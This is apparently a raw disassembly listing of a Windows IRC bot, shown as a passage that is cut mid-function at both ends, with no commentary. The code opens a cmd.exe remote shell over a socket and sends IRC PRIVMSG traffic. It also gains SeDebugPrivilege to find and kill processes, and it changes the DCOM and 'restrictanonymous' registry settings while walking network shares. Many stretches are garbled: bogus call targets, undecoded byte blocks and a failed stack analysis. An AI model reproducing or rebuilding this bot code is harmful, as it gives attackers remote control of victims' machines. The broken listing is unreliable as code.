ebp mov ebp, esp sub esp, 718h push esi push 200h push dword ptr [ebp+8] lea eax, [ebp-718h] push eax call sub_41FEE0 add esp, 0Ch lea eax, [ebp+8] mov esi, 108h push eax lea eax, [ebp-108h] push eax mov [ebp+8], esi call near ptr 3D0000h enter 0FFFF858Dh, 0F8h ; --------------------------------------------------------------------------- dw 0FFFEh ; --------------------------------------------------------------------------- call dword ptr [esi+50h] lea eax, [ebp-318h] push eax call sub_41FEE0 lea eax, [ebp-718h] push eax call sub_4201B0 add esp, 10h shl eax, 1 push eax lea eax, [ebp-718h] push eax lea eax, [ebp-318h] push 0 push eax push 0 call ds:dword_451504 test eax, eax jnz short loc_418FAD mov esi, offset dword_4EDF38 push offset unk_44E908 push esi call sub_41D260 pop ecx pop ecx jmp short loc_418FD6 ; --------------------------------------------------------------------------- loc_418FAD: ; CODE XREF: seg000:00418F97j lea ecx, [ebp-718h] push ecx lea ecx, [ebp-318h] push ecx push eax call sub_418DE9 pop ecx mov esi, offset dword_4EDF38 push eax push offset dword_44E948 push esi call sub_41D260 add esp, 14h loc_418FD6: ; CODE XREF: seg000:00418FABj mov eax, esi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FDB proc near ; CODE XREF: sub_417BA1+7p ; sub_419046+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 3D0000h jge short near ptr loc_41903B+3 call ds:dword_4514D8 test eax, eax jnz short loc_418FFA leave retn ; --------------------------------------------------------------------------- loc_418FFA: ; CODE XREF: sub_418FDB+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call ds:dword_4514B0 test eax, eax jz short loc_419038 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419021 or [ebp+var_8], 2 jmp short loc_419025 ; --------------------------------------------------------------------------- loc_419021: ; CODE XREF: sub_418FDB+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419025: ; CODE XREF: sub_418FDB+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call ds:dword_45155C mov esi, eax loc_419038: ; CODE XREF: sub_418FDB+32j push [ebp+var_4] loc_41903B: ; CODE XREF: sub_418FDB+11j call ds:dword_4F12FC ; CloseHandle mov eax, esi pop esi leave retn sub_418FDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419046 proc near ; CODE XREF: seg000:004070D1p ; sub_419289+74p ... var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp ds:dword_451514, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419259 cmp ds:dword_4514F8, ebx jz loc_419259 cmp ds:dword_45140C, ebx jz loc_419259 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_418FDB pop ecx pop ecx push ebx push 0Fh call ds:dword_451514 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_41924C lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call ds:dword_4514F8 mov esi, ds:dword_4F12FC test eax, eax jz loc_419247 lea eax, [ebp+var_130] push eax push edi call ds:dword_45140C test eax, eax jz loc_419247 mov edi, ds:dword_4F1324 mov ebx, 1F0FFFh loc_41910A: ; CODE XREF: sub_419046+1F9j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419171 mov [ebp+var_4], offset off_44E990 loc_419118: ; CODE XREF: sub_419046+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call ds:dword_4F13F8 ; lstrcmpiA test eax, eax jz short loc_419140 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_44E9F0 jl short loc_419118 jmp loc_41922D ; --------------------------------------------------------------------------- loc_419140: ; CODE XREF: sub_419046+E6j push [ebp+var_128] push 0 push ebx call edi ; dword_4F1324 test eax, eax mov [ebp+var_4], eax jz loc_41922D push 0 push eax call near ptr 3D0000h retn 0C085h ; --------------------------------------------------------------------------- jnz loc_41922D loc_419167: ; CODE XREF: sub_419046+1CDj push [ebp+var_4] call esi ; dword_4F12FC jmp loc_41922D ; --------------------------------------------------------------------------- loc_419171: ; CODE XREF: sub_419046+C9j cmp [ebp+arg_C], eax jnz loc_419218 cmp [ebp+arg_4], eax jz loc_41922D push [ebp+var_128] push 8 call ds:dword_451514 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_4191D8 lea ecx, [ebp+var_354] push ecx push eax call ds:dword_4513B8 push [ebp+var_128] test eax, eax jz short loc_4191CA lea eax, [ebp+var_234] push eax push offset aSD_0 ; " %s (%d)" jmp short loc_4191EA ; --------------------------------------------------------------------------- loc_4191CA: ; CODE XREF: sub_419046+174j lea eax, [ebp+var_10C] push eax push offset aSD_1 ; " %s (%d)" jmp short loc_4191EA ; --------------------------------------------------------------------------- loc_4191D8: ; CODE XREF: sub_419046+15Cj push [ebp+var_128] lea eax, [ebp+var_10C] push eax push offset aSD_2 ; " %s (%d)" loc_4191EA: ; CODE XREF: sub_419046+182j ; sub_419046+190j lea eax, [ebp+var_554] push eax call sub_41D260 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 14h jmp loc_419167 ; --------------------------------------------------------------------------- loc_419218: ; CODE XREF: sub_419046+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_419260 loc_41922D: ; CODE XREF: sub_419046+F5j ; sub_419046+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call ds:dword_45140C test eax, eax jnz loc_41910A xor ebx, ebx loc_419247: ; CODE XREF: sub_419046+9Dj ; sub_419046+B3j push [ebp+var_8] call esi ; dword_4F12FC loc_41924C: ; CODE XREF: sub_419046+77j push ebx push offset aSedebugprivi_0 ; "SeDebugPrivilege" call sub_418FDB pop ecx pop ecx loc_419259: ; CODE XREF: sub_419046+3Aj ; sub_419046+46j ... xor eax, eax loc_41925B: ; CODE XREF: sub_419046+241j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419260: ; CODE XREF: sub_419046+1E5j push [ebp+var_128] push 0 push ebx call edi ; dword_4F1324 push [ebp+var_8] mov edi, eax call esi ; dword_4F12FC push 0 push edi call near ptr 3D0000h push ds test eax, eax jnz short loc_419284 push edi call esi ; dword_4F12FC jmp short loc_419259 ; --------------------------------------------------------------------------- loc_419284: ; CODE XREF: sub_419046+237j push 1 pop eax jmp short loc_41925B sub_419046 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419289 proc near ; DATA XREF: seg000:00407DCCo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_44EB88 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41D260 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_4192E8 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40145D add esp, 14h loc_4192E8: ; CODE XREF: sub_419289+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419046 add esp, 18h test eax, eax jnz short loc_419310 push offset dword_44EBCC jmp short loc_419315 ; --------------------------------------------------------------------------- loc_419310: ; CODE XREF: sub_419289+7Ej push offset dword_44EC18 loc_419315: ; CODE XREF: sub_419289+85j lea eax, [ebp+var_298] push eax call sub_41D260 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419348 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40145D add esp, 14h loc_419348: ; CODE XREF: sub_419289+9Dj lea eax, [ebp+var_298] push eax call sub_4161A7 push [ebp+var_14] call sub_40905B pop ecx pop ecx push esi call near ptr 3D0000h and ebx, [edi+5Eh] sub_419289 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419367 proc near ; CODE XREF: seg000:00407073p ; sub_408E7A+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 3D0000h std mov esi, eax test esi, esi jz short loc_419399 push 0 push esi call near ptr 3D0000h sbb [ebp+560975C0h], eax xor edi, edi call ds:dword_4F12FC ; CloseHandle loc_419399: ; CODE XREF: sub_419367+1Aj mov eax, edi pop edi pop esi retn sub_419367 endp ; --------------------------------------------------------------------------- push esi xor esi, esi loc_4193A1: ; CODE XREF: seg000:004193BCj push 1 push esi push esi push esi push esi push esi call sub_419046 add esp, 18h push ds:dword_44E98C call ds:dword_4F12F4 ; Sleep jmp short loc_4193A1 ; =============== S U B R O U T I N E ======================================= sub_4193BE proc near ; CODE XREF: sub_4193EE+2Ap ; seg000:004194A4p ... mov eax, ds:dword_4EE7A4 push esi mov esi, ds:dword_4F12FC cmp eax, 0FFFFFFFFh jz short loc_4193D2 push eax call esi ; dword_4F12FC loc_4193D2: ; CODE XREF: sub_4193BE+Fj mov eax, ds:dword_4EE7AC cmp eax, 0FFFFFFFFh jz short loc_4193DF push eax call esi ; dword_4F12FC loc_4193DF: ; CODE XREF: sub_4193BE+1Cj mov eax, ds:dword_4EE7A0 cmp eax, 0FFFFFFFFh jz short loc_4193EC push eax call esi ; dword_4F12FC loc_4193EC: ; CODE XREF: sub_4193BE+29j pop esi retn sub_4193BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193EE proc near ; CODE XREF: seg000:00406FBEp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AC70 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push ds:dword_4EE7A8 call near ptr 3D0000h sahf test eax, eax jnz short loc_419421 call sub_4193BE xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419421: ; CODE XREF: sub_4193EE+28j push 1 pop eax leave retn sub_4193EE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push offset dword_4EE7EC push dword ptr [ebp+0Ch] call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_419469 push 7D0h call ds:dword_4F12F4 ; Sleep push dword ptr [ebp+10h] lea eax, [ebp-200h] push dword ptr [ebp+0Ch] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41D260 add esp, 10h jmp short loc_419480 ; --------------------------------------------------------------------------- loc_419469: ; CODE XREF: seg000:00419440j push dword ptr [ebp+10h] lea eax, [ebp-200h] push offset aS_24 ; CODE XREF: seg000:004194EFj ; "%s" push eax call sub_41D260 add esp, 0Ch loc_419480: ; CODE XREF: seg000:00419467j lea eax, [ebp-200h] push 0 push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-200h] push eax push dword ptr [ebp+8] call ds:dword_451540 test eax, eax jg short loc_4194A9 call sub_4193BE loc_4194A9: ; CODE XREF: seg000:004194A2j xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4194AD: ; DATA XREF: sub_419602+174o push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4EE7B0 push esi lea eax, [ebp-20Ch] push edi push eax call sub_41D100 add esp, 0Ch lea eax, [ebp-4] push edi push edi push eax lea eax, [ebp-20Ch] push esi push eax push ds:dword_4EE7A4 call near ptr 3D0000h jnp short near ptr loc_419472+4 ror byte ptr [edi], 84h wait ; --------------------------------------------------------------------------- db 3 dup(0) dd 75FC7D39h, 0F8458D2Bh, 0A035FF50h, 0E8004EE7h, 0FFFB6AF4h dd 74C08595h, 0F87D810Dh, 103h, 99850Fh, 0A6A0000h, 12F415FFh dd 9DEB004Fh, 7D39C033h, 801076FCh, 0FDF405BCh, 740AFFFFh dd 453B4054h, 89F072FCh, 8D56FC75h, 0FFFDF485h, 0E85057FFh dd 3BB0h, 8D0CC483h, 5057F445h, 8DFC75FFh, 0FFFDF485h dd 35FF50FFh, 4EE7A4h, 137415FFh, 0C085004Fh, 858D6D74h dd 0FFFFFDF4h, 35FF5350h, 4EE7E4h, 0FFFEA1E8h, 0CC483FFh dd 0FFFF38E9h, 458940FFh, 68AFEBFCh, 44EC78h, 0E435FF53h dd 0E8004EE7h, 0FFFFFE82h, 0E80875FFh, 0FFFEFAAFh, 6A10C483h dd 6A4AE801h, 0E845FFFBh, 0FFFFFE02h, 44ECC068h, 35FF5300h dd 4EE7E4h, 0FFFE59E8h, 875FFFFh, 0FEFA86E8h, 10C483FFh dd 6A22E857h, 684DFFFBh, 44ECFCh, 0E435FF53h, 0E8004EE7h dd 0FFFFFE36h, 0E80875FFh, 0FFFEFA63h, 5710C483h, 0FB69FFE8h db 0FFh, 0Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419602 proc near ; CODE XREF: seg000:00407C1Dp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi push edi call sub_4193BE xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call ds:dword_4515AC test eax, eax jz loc_4196FC lea eax, [ebp+var_1C] mov edi, ds:dword_4F1394 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], 1 mov [ebp+var_18], esi call edi ; dword_4F1394 test eax, eax jz loc_4196FC lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; dword_4F1394 test eax, eax jz loc_4196FC mov edi, ds:dword_4F1390 push 3 push esi push esi push offset dword_4EE7A8 call edi ; dword_4F1390 push eax push [ebp+var_8] call edi ; dword_4F1390 push eax call near ptr 3D0000h add eax, 5F74C085h push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41D100 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41D100 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push 1 push esi push esi lea eax, [ebp+var_178] push offset dword_4EE7F0 push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 3D0000h db 65h test eax, eax jnz short loc_419704 loc_4196FC: ; CODE XREF: sub_419602+2Ej ; sub_419602+5Cj ... or eax, 0FFFFFFFFh jmp loc_4197B6 ; --------------------------------------------------------------------------- loc_419704: ; CODE XREF: sub_419602+F8j push [ebp+var_4] mov edi, ds:dword_4F12FC call edi ; dword_4F12FC mov eax, [ebp+var_10] push [ebp+var_28] mov ds:dword_4EE7A4, eax mov eax, [ebp+var_8] mov ds:dword_4EE7AC, eax mov eax, [ebp+var_2C] mov ds:dword_4EE7A0, eax call edi ; dword_4F12FC mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov ds:dword_4EE7E4, eax jz short loc_41973E push [ebp+arg_4] jmp short loc_419743 ; --------------------------------------------------------------------------- loc_41973E: ; CODE XREF: sub_419602+135j push offset dword_4EE7F4 loc_419743: ; CODE XREF: sub_419602+13Aj push offset dword_4EE7B0 call sub_41D260 pop ecx pop ecx push esi push 0Ah push offset unk_44ED4C call sub_408D3F mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov ds:dword_4523C0[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset loc_4194AD push esi push esi call ds:dword_4F131C ; CreateThread cmp eax, esi mov ds:dword_4523CC[edi], eax jnz short loc_4197B4 call ds:dword_4F1310 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset unk_44ED84 push eax call sub_41D260 lea eax, [ebp+var_378] push eax call sub_4161A7 add esp, 10h loc_4197B4: ; CODE XREF: sub_419602+189j xor eax, eax loc_4197B6: ; CODE XREF: sub_419602+FDj pop edi pop esi leave retn sub_419602 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+8] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp-98h] rep movsd pop edi pop esi push dword ptr [ebp-8] cmp dword ptr [ebp-10h], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp-94h] push dword ptr [ebp-0Ch] push eax push dword ptr [ebp-98h] jz short loc_419801 call near ptr loc_419819+1 jmp short loc_419806 ; --------------------------------------------------------------------------- loc_419801: ; CODE XREF: seg000:004197F8j call loc_419B3E loc_419806: ; CODE XREF: seg000:004197FFj add esp, 10h push dword ptr [ebp-14h] call sub_40905B pop ecx push 0 call near ptr 3D0000h loc_419819: ; CODE XREF: seg000:004197FAp rep push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp ds:dword_4515C0, edi jnz loc_41994C lea eax, [ebp-4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_451560 test eax, eax jnz short loc_4198A5 mov ax, ds:word_44EE10 mov [ebp-6], ax lea eax, [ebp-6] push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-6] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push dword ptr [ebp-4] call ds:dword_451518 test eax, eax jz short loc_419887 push offset unk_44EE20 jmp short loc_41988C ; --------------------------------------------------------------------------- loc_419887: ; CODE XREF: seg000:0041987Ej push offset dword_44EE60 loc_41988C: ; CODE XREF: seg000:00419885j lea eax, [ebp-214h] push eax call sub_41D260 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_4514D0 jmp short loc_4198B8 ; --------------------------------------------------------------------------- loc_4198A5: ; CODE XREF: seg000:00419850j lea eax, [ebp-214h] push offset unk_44EE98 push eax call sub_41D260 pop ecx pop ecx loc_4198B8: ; CODE XREF: seg000:004198A3j cmp [ebp+14h], edi jnz short loc_4198D7 push 1 lea eax, [ebp-214h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_4198D7: ; CODE XREF: seg000:004198BBj lea eax, [ebp-214h] push eax call sub_4161A7 pop ecx lea eax, [ebp-4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_451560 test eax, eax jnz short loc_419945 lea eax, [ebp-8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push dword ptr [ebp-4] mov dword ptr [ebp-8], 1 call ds:dword_451518 test eax, eax jz short loc_419927 push offset unk_44EEF8 jmp short loc_41992C ; --------------------------------------------------------------------------- loc_419927: ; CODE XREF: seg000:0041991Ej push offset unk_44EF50 loc_41992C: ; CODE XREF: seg000:00419925j lea eax, [ebp-214h] push eax call sub_41D260 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_4514D0 jmp short loc_41995F ; --------------------------------------------------------------------------- loc_419945: ; CODE XREF: seg000:004198FCj push offset unk_44EFA0 jmp short loc_419951 ; --------------------------------------------------------------------------- loc_41994C: ; CODE XREF: seg000:0041982Dj push offset unk_44EFF8 loc_419951: ; CODE XREF: seg000:0041994Aj lea eax, [ebp-214h] push eax call sub_41D260 pop ecx pop ecx loc_41995F: ; CODE XREF: seg000:00419943j cmp [ebp+14h], edi jnz short loc_41997E push 1 lea eax, [ebp-214h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_41997E: ; CODE XREF: seg000:00419962j lea eax, [ebp-214h] push eax call sub_4161A7 cmp ds:dword_4515E8, edi pop ecx jnz loc_419AF9 push ebx mov [ebp-4], edi mov [ebp-14h], edi mov [ebp-0Ch], edi loc_4199A1: ; CODE XREF: seg000:00419ADDj lea eax, [ebp-0Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-4] push eax lea eax, [ebp-8] push 0FFFFFFFFh push eax push 1F6h push edi call ds:dword_45143C cmp eax, edi mov [ebp-10h], eax jz short loc_419A3E cmp eax, 0EAh jz short loc_419A3E mov esi, offset off_44EDD0 loc_4199D2: ; CODE XREF: seg000:00419A37j push dword ptr [esi] push edi call sub_418611 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_4199E9 push offset unk_44F0C8 jmp short loc_4199EE ; --------------------------------------------------------------------------- loc_4199E9: ; CODE XREF: seg000:004199E0j push offset unk_44F104 loc_4199EE: ; CODE XREF: seg000:004199E7j lea eax, [ebp-214h] push 200h push eax call sub_41D360 add esp, 10h cmp [ebp+14h], edi jnz short loc_419A21 push 1 lea eax, [ebp-214h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_419A21: ; CODE XREF: seg000:00419A05j lea eax, [ebp-214h] push eax call sub_4161A7 add esi, 8 pop ecx cmp esi, offset dword_44EDF0 jl short loc_4199D2 jmp loc_419AD6 ; --------------------------------------------------------------------------- loc_419A3E: ; CODE XREF: seg000:004199C4j ; seg000:004199CBj mov esi, [ebp-8] push 1 pop ebx cmp [ebp-4], ebx jb loc_419ACD loc_419A4D: ; CODE XREF: seg000:00419AC9j mov edi, [esi] push edi call sub_4201B0 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_419AC2 push edi call sub_4184FE push eax push 0 call sub_418611 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_419A7C push offset unk_44F044 jmp short loc_419A81 ; --------------------------------------------------------------------------- loc_419A7C: ; CODE XREF: seg000:00419A73j push offset unk_44F080 loc_419A81: ; CODE XREF: seg000:00419A7Aj lea eax, [ebp-214h] push 200h push eax call sub_41D360 add esp, 10h cmp dword ptr [ebp+14h], 0 jnz short loc_419AB5 push 1 lea eax, [ebp-214h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_419AB5: ; CODE XREF: seg000:00419A99j lea eax, [ebp-214h] push eax call sub_4161A7 pop ecx loc_419AC2: ; CODE XREF: seg000:00419A5Cj add esi, 28h inc ebx cmp ebx, [ebp-4] jbe short loc_419A4D xor edi, edi loc_419ACD: ; CODE XREF: seg000:00419A47j push dword ptr [ebp-8] call ds:dword_451580 loc_419AD6: ; CODE XREF: seg000:00419A39j cmp dword ptr [ebp-10h], 0EAh jz loc_4199A1 lea eax, [ebp-214h] push offset unk_44F14C push eax call sub_41D260 pop ecx pop ecx pop ebx jmp short loc_419B0C ; --------------------------------------------------------------------------- loc_419AF9: ; CODE XREF: seg000:00419991j lea eax, [ebp-214h] push offset unk_44F18C push eax call sub_41D260 pop ecx pop ecx loc_419B0C: ; CODE XREF: seg000:00419AF7j cmp [ebp+14h], edi jnz short loc_419B2A push edi lea eax, [ebp-214h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_419B2A: ; CODE XREF: seg000:00419B0Fj lea eax, [ebp-214h] push eax call sub_4161A7 pop ecx push 1 pop eax pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_419B3E: ; CODE XREF: seg000:loc_419801p push ebp mov ebp, esp sub esp, 220h push esi push edi xor edi, edi cmp ds:dword_4515C0, edi jnz loc_419C6C lea eax, [ebp-4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_451560 test eax, eax jnz short loc_419BC9 mov ax, ds:word_44F1D8 mov [ebp-6], ax lea eax, [ebp-6] push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-6] push eax push 1 push edi push offset aEnabledcom_0 ; "EnableDCOM" push dword ptr [ebp-4] call ds:dword_451518 test eax, eax jz short loc_419BAB push offset unk_44F1E8 jmp short loc_419BB0 ; --------------------------------------------------------------------------- loc_419BAB: ; CODE XREF: seg000:00419BA2j push offset dword_44F224 loc_419BB0: ; CODE XREF: seg000:00419BA9j lea eax, [ebp-220h] push eax call sub_41D260 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_4514D0 jmp short loc_419BDC ; --------------------------------------------------------------------------- loc_419BC9: ; CODE XREF: seg000:00419B74j lea eax, [ebp-220h] push offset unk_44F25C push eax call sub_41D260 pop ecx pop ecx loc_419BDC: ; CODE XREF: seg000:00419BC7j cmp [ebp+14h], edi jnz short loc_419BFB push 1 lea eax, [ebp-220h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_419BFB: ; CODE XREF: seg000:00419BDFj lea eax, [ebp-220h] push eax call sub_4161A7 pop ecx lea eax, [ebp-4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_451560 test eax, eax jnz short loc_419C65 lea eax, [ebp-8] push 4 push eax push 4 push edi push offset aRestrictanon_0 ; "restrictanonymous" push dword ptr [ebp-4] mov [ebp-8], edi call ds:dword_451518 test eax, eax jz short loc_419C47 push offset unk_44F2BC jmp short loc_419C4C ; --------------------------------------------------------------------------- loc_419C47: ; CODE XREF: seg000:00419C3Ej push offset unk_44F314 loc_419C4C: ; CODE XREF: seg000:00419C45j lea eax, [ebp-220h] push eax call sub_41D260 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_4514D0 jmp short loc_419C7F ; --------------------------------------------------------------------------- loc_419C65: ; CODE XREF: seg000:00419C20j push offset unk_44F364 jmp short loc_419C71 ; --------------------------------------------------------------------------- loc_419C6C: ; CODE XREF: seg000:00419B51j push offset unk_44F3BC loc_419C71: ; CODE XREF: seg000:00419C6Aj lea eax, [ebp-220h] push eax call sub_41D260 pop ecx pop ecx loc_419C7F: ; CODE XREF: seg000:00419C63j cmp [ebp+14h], edi jnz short loc_419C9E push 1 lea eax, [ebp-220h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_419C9E: ; CODE XREF: seg000:00419C82j lea eax, [ebp-220h] push eax call sub_4161A7 cmp ds:dword_4515E8, edi pop ecx jnz loc_419E10 mov esi, offset off_44EDD0 loc_419CBC: ; CODE XREF: seg000:00419D25j push dword ptr [esi+4] push dword ptr [esi] push edi call sub_418565 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_419CD7 push offset unk_44F408 jmp short loc_419CDC ; --------------------------------------------------------------------------- loc_419CD7: ; CODE XREF: seg000:00419CCEj push offset dword_44F444 loc_419CDC: ; CODE XREF: seg000:00419CD5j lea eax, [ebp-220h] push 200h push eax call sub_41D360 add esp, 10h cmp [ebp+14h], edi jnz short loc_419D0F push 1 lea eax, [ebp-220h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 14h loc_419D0F: ; CODE XREF: seg000:00419CF3j lea eax, [ebp-220h] push eax call sub_4161A7 add esi, 8 pop ecx cmp esi, offset off_44EDE0 jl short loc_419CBC push ebx call near ptr 3D0000h or dword ptr [ebx-7ABE4C08h], 0BE840FFFh ; --------------------------------------------------------------------------- db 0 dd 0C78B0000h, 3C01E083h, 0A7850F01h, 80000000h, 840F41FBh dd 9Eh, 56F3BE0Fh, 44F48868h, 0EC458D00h, 0E8500A6Ah, 35FCh dd 0F48C6856h, 458D0044h, 500A6AE0h, 35EBE8h, 20C48300h dd 50E0458Dh, 155015FFh, 0F8830045h, 8D677503h, 8D50E045h dd 6A50EC45h, 0E7CFE800h, 0C483FFFFh, 8DC0850Ch, 7550EC45h dd 0F4946807h, 5EB0044h, 44F4D068h, 0E0858D00h, 68FFFFFDh dd 200h, 35A2E850h, 0C4830000h, 147D8310h, 6A1A7500h, 0E0858D01h dd 0FFFFFFFDh, 0FF501075h, 75FF0C75h, 767FE808h, 0C483FFFEh dd 0E0858D14h, 50FFFFFDh, 0FFC3BAE8h, 0C3FE59FFh, 850FEFD1h dd 0FFFFFF42h, 0FDE0858Dh, 1468FFFFh, 500044F5h, 3457E8h dd 